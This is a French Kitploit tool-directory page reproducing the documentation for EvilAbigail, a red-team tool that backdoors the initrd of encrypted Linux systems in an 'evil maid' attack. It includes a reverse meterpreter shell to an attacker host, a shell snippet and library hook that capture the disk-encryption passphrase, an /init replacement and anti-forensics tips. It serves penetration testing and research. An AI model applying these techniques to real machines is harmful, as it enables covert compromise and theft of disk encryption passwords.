Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EvilAbigail — Attaque automatisée de l'evil maid sous Linux | Kitploit
Outils/GitHubGitHub/strozfriedberg/evilabigail
Escalade de PrivilègesAttaques de Mots de PasseExploitationPost-ExploitationRed TeamingDéveloppement de Charges Utiles
GitHubstrozfriedberg/evilabigail

EvilAbigail

Attaque automatisée de l'evil maid sous Linux

Voir le dépôt
43577il y a 10 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Attaque du système de fichiers racine chiffré via initrd

EvilAbigail

Scénario

  • Ordinateur portable éteint avec FDE activé
  • L'attaquant démarre depuis USB/CD/Réseau
  • Le script s'exécute et backdoor l'initrd
  • L'utilisateur revient, démarre normalement
  • L'initrd backdooré charge :
    • (Debian/Ubuntu/Kali) .so dans /sbin/init au démarrage, dépose un shell
    • (Fedora/CentOS) LD_PRELOAD .so dans DefaultEnviroment, chargé globalement, dépose un shell.

Distributions prises en charge

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Fonctionnalités actuelles

  • python/meterpreter/reverse_https vers LHOST au moment de la compilation
  • Mot de passe de déchiffrement FDE stocké dans l'environnement meterpreter (getenv PASSWORD)

Détails

Compilation

Voir le Makefile pour plus d'informations/configuration, LHOST est requis dans l'environnement pour construire le .so car msfvenom est injecté au moment de la compilation. Il est également nécessaire d'avoir libcrypsetup-dev (ou équivalent) installé sur la machine de compilation.

Instructions génériques (construit l'image iso dans le répertoire courant) : LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

Les options suivantes ont été ajoutées au démarrage du noyau :

mc superuser nodhcp quiet loglevel=0

De plus, la valeur de prompt a été définie sur 0 pour permettre une exécution entièrement automatique.

Chronométrage

Temps approximatif du démarrage malveillant -> backdooré : ~2 minutes Temps approximatif du démarrage légitime -> shell ~90 secondes (configurable, nous voulons que le réseau soit opérationnel avant nous)

Prérequis

core.d est un core.gz décompressé de TinyCore avec les paquets ci-dessous fusionnés.

Core-current est une Core-current.iso décompressée

Les paquets suivants ont été installés dans tinycore (python, support de systèmes de fichiers) :

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Ajout de nouvelles signatures

Au minimum, la signature est la suivante :

root@kitploit:~
"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS est un nom unique pour ce système d'exploitation.
  • IDENTIFIER est une commande shell qui a un code de sortie 0 lorsqu'elle est exécutée sur le bon initrd, et !0 pour tout le reste.
  • ROOT est le chemin complet ou la variable où la nouvelle racine est montée après le déchiffrement.
  • FILENAME est le chemin complet pour déposer notre binaire sur le système de fichiers racine. Soyez attentif à ce que monte l'initrd et ce qui est monté ultérieurement.
  • INITRDFILENAME est le chemin complet du binaire à l'intérieur de l'initrd. Il est copié dans le Makefile (cp ... core.d/...) donc il doit correspondre.

Après cela, chaque triplet de *FILE, *PRE, *POST est exécuté sur l'initrd comme un re.sub (par exemple re.sub(*PRE, *POST, *FILE). Les contenus de *PRE et *POST sont développés en utilisant .format(**config[detectedOS]), donc n'hésitez pas à développer votre signature pour injecter des éléments.

Il n'y a pas de limite au nombre de remplacements que vous pouvez effectuer.

Notes

  • \\1 se développera pour correspondre au contenu complet de la correspondance (*PRE) lorsqu'il est utilisé dans le remplacement (*POST).
  • Soyez prudent avec : | $

Détails précis

Charge utile

La charge utile metasploit python/meterpreter/reverse_https a été choisie car elle est plus indépendante de la plateforme que les charges utiles linux/*/meterpreter/reverse_tcp. python semble être installé par défaut sur tous les systèmes testés.

Par défaut, la charge utile est générée au moment de la compilation et injectée dans le fichier .c en tant que #define. Cela facilite les itérations, mais il ne devrait pas être difficile de sauvegarder la charge utile et de l'insérer manuellement.

Basé sur Debian (Debian, Ubuntu, Kali)

Déposer le shell

Les systèmes basés sur Debian (Debian, Ubuntu, etc.) utilisent une image cpio gzippée standard comme initramfs. Celle-ci contient le script /init par défaut qui prépare le système pour un démarrage complet. Cela inclut la demande du mot de passe à l'utilisateur et le montage du système de fichiers racine chiffré.

Pour déposer notre .so, nous attendons que le système de fichiers racine soit monté (donc après que l'utilisateur ait saisi son mot de passe) et copions le .so sur le système de fichiers /dev. Le système de fichiers /dev a été choisi car il est accessible juste avant la commutation du rootfs et c'est un montage basé sur la RAM. Cela signifie que notre .so ne touchera pas le disque.

Pour utiliser effectivement le .so déposé, nous utilisons ensuite la variable d'environnement LD_PRELOAD sur l'appel switch_root. Cette variable est transmise à tous les exécutables enfants et ainsi, le script final /sbin/init aura le module chargé. Pour rester relativement discret, nous vérifions si nous sommes chargés dans /sbin/init, et si c'est le cas, nous désactivons la variable LD_PRELOAD et supprimons le .so. Cette fonctionnalité peut facilement être désactivée si nous souhaitons accrocher des applications spécifiques.

Pour forcer l'exécution du .so, par défaut après le chargement, nous utilisons le drapeau gcc -Wl,-init,shell, où shell est notre fonction principale. Cela spécifie quelle fonction nous voulons appeler lors de l'initialisation du .so. Considérez cela comme un analogue du DllMain de Windows.

Vol de mot de passe

La partie du script init chargée de demander le mot de passe à l'utilisateur et de monter le système de fichiers racine est la suivante :

scripts/local-top/cryptroot:

root@kitploit:~
if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

La partie importante pour nous est celle où la sortie de $cryptkeyscript est redirigée vers $cryptcreate. $cryptkeyscript est le demandeur de mot de passe, et $cryptcreate est le monteur de disque. Ce tube rend l'attaque très facile pour nous. Nous insérons le code suivant là où se trouve le tube pour écrire le mot de passe à la fin de notre .so :

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

Cela lira le mot de passe dans la variable $P, et à la fois l'écrira à la fin du .so et le réaffichera. Ce code sera transparent pour les besoins de $cryptkeyscript et $cryptcreate, mais il aura l'effet secondaire d'exfiltrer le mot de passe. Nous utilisons \\\\\\\\x00 pour préfixer un octet nul (en tenant compte de nombreux niveaux d'échappement shell) au mot de passe. Cela rend beaucoup plus facile pour notre .so de relire le mot de passe, car il lui suffit de lire en arrière depuis la fin de lui-même jusqu'à ce qu'il trouve un octet nul.

Pour fournir ce mot de passe à l'attaquant, il est utilisé comme variable d'environnement dans l'invocation de la charge utile. Cela signifie que l'attaquant peut simplement utiliser la commande meterpreter getenv PASSWORD pour récupérer le mot de passe.

Artefacts

En raison de la façon dont le .so est chargé, il y aura des références à lui dans /proc/1/maps et /proc/1/environ.

Le fichier maps est une liste des modules chargés. L'extrait suivant montre le contenu de ce fichier. Notez le (deleted), qui pourrait potentiellement éveiller des soupçons. Cependant, contrairement aux binaires normaux, il n'est pas possible d'accéder au .so sans l'extraire directement de la mémoire après sa suppression.

root@kitploit:~
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

Le fichier environ est une liste séparée par des NULL des variables d'environnement au moment de l'invocation. Comme il provient de l'invocation, cela signifie que toutes les modifications que nous apportons à l'exécution (désactivation de LD_PRELOAD) ne seront pas reflétées.

Dans ces deux cas, comme nous pouvons être accrochés à n'importe quel processus système, nous pourrions simplement accrocher la fonction read(2) et supprimer toute référence à nous-mêmes.

Kali

Kali est un cas particulier. Il a le cpio chaîné mentionné ci-dessous, mais n'utilise pas systemd pour démarrer. En tant que tel, la règle de système d'exploitation DRACUT a été généralisée de sorte qu'elle extrait aveuglément, puis la deuxième détection de système d'exploitation attrape Kali.

Si vous ajoutez un système d'exploitation avec un cpio contenant uniquement kernel/x86/microcode/GenuineIntel.bin, la règle IDENTIFIER doit concerner le cpio ajouté, car nous le trouverons et l'extrairons automatiquement.

Basé sur Redhat (Fedora, CentOS)

Ces systèmes ont un format différent pour leur image initrd par rapport aux systèmes basés sur Debian. Les fichiers initrd stockés dans /boot sont une archive cpio presque vide, avec une archive cpio gzippée ajoutée. Cette deuxième archive est celle qui contient l'initramfs. Pour décompresser cette deuxième archive, il est nécessaire d'analyser la première archive cpio pour trouver la fin. Alternativement, vous pouvez trouver la chaîne TRAILER!!! et lire jusqu'à ce que vous trouviez la magie gzip (\x1f\x8b).

Une autre différence de ces systèmes est qu'ils sont basés sur systemd, et en tant que tel, l'exécutable /init dans l'initramfs est un lien symbolique vers le binaire systemd, plutôt qu'un script sh simple. Pour contourner cette limitation, il est nécessaire de modifier les fichiers .service liés au montage du système de fichiers racine.

Le fichier usr/lib/systemd/system/initrd-switch-root.service contient le script utilisé pour pivoter vers la nouvelle racine déchiffrée. En utilisant la pragma ExecStartPre, il est possible d'exécuter d'autres programmes avant que le pivot n'ait lieu.

SELinux est présent sur CentOS, restreignant l'utilisation de LD_PRELOAD. Un chemin fonctionnel est /lib. Cela a été localisé en lisant le fichier /etc/selinux/targeted/modules/active/file_contexts pour un emplacement étiqueté system_u:object_r:lib_t.

Déposer le shell

Comme systemd appelle clearenv() avant de changer de racine, notre variable LD_PRELOAD est effacée. Pour contourner cela, nous pouvons accrocher clearenv(), et toujours simplement remplacer l'environnement avec seulement LD_PRELOAD. Cependant, pour y parvenir, nous devons être PID 1 à l'intérieur de l'initrd. C'est plus délicat car il n'est pas possible de faire LD_PRELOAD dans ce processus. Pour contourner cela, nous avons remplacé /init par un script shell bash comme suit :

root@kitploit:~
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd

Cela fonctionne parce que /init est juste un lien symbolique vers /usr/lib/systemd/systemd. exec est utilisé pour que le processus conserve le PID parent (1).

Une fois cela implémenté et clearenv() neutralisé, il est possible de définir LD_PRELOAD pour le vrai pid 1 à l'intérieur de la nouvelle racine.

Vol de mot de passe

systemd gère les mots de passe pour les systèmes de fichiers chiffrés de manière complètement différente des scripts init basés sur Debian. Les mots de passe sont transmis en utilisant des sockets Unix qui permettent d'envoyer des identifiants. Pour contourner cette complexité, la méthode la plus simple que nous avons trouvée pour accéder au mot de passe était d'accrocher la fonction crypt_activate_by_passphrase de libcryptsetup. Les parties pertinentes de la déclaration de fonction sont les suivantes :

root@kitploit:~
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);

Pour accéder au mot de passe, nous accrochons simplement cette fonction, sauvegardons passphrase dans un fichier et appelons la fonction originale obtenue par dlsym(RTLD_NEXT, ...). Comme ci-dessus, nous avons ajouté notre mot de passe au .so afin qu'il puisse s'analyser lui-même et rendre le mot de passe disponible à meterpreter.

Artefacts

Comme ci-dessus, le .so apparaît dans /proc/1/maps, /proc/1/environ et la sortie de ps.

Télécharger l’outil